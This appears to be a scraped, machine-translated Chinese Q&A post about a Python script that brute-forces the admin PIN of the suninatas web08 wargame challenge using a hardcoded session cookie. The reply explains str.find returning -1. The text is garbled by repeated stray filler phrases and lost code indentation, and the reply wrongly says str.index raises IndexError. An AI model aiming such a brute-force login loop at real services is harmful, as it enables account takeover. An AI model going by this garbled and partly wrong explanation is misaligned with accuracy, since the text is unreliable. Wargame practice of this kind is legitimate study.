我想知道代码的细节。
特别是,为什么req.text.find()
是-1
和req.text[index:index+30]
。你知道吗
import requests
URL = "http://suninatas.com/challenge/web08/web08.asp"
cookie={
"ASPSESSIONIDQSAQARDT":"MCEPDMFCFIACLLONLJHDHHAA"
} # 쿠기 값은 자신의 것으로 변경
session1 = requests.Session()
for i in range(10000):
data1={
'id':'admin',
'pw':i
}
req = session1.post(URL, cookies=cookie, data=data1)
if (req.text.find("Password Incorrect!") == -1):
index = req.text.find("Authkey")
print("\n\n")
print(req.text[index:index+30])
print("\n\n")
input("Press Any KEY to exit.......")
exit(0)
else:
print("Wrong Num :" + str(i))
好吧,让我们看看这个。你知道吗
因此,在python中,有两种方法可以找到字符串中特定子字符串的索引:
str.index(substr)
和str.find(substr)
。无论哪种情况,如果substr
出现在str
中,那么这些函数返回str
中的索引,在该索引处substr
开始。它们之间的区别在于,如果substr
没有出现在str
中,那么index()
会引发IndexError
,而find()
会返回-1。你知道吗因此,当我们检查if
req.text.find("Password Incorrect!") == -1
时,我们检查子串"Password Incorrect!"
是否没有出现在req.text
。你知道吗相关问题 更多 >
编程相关推荐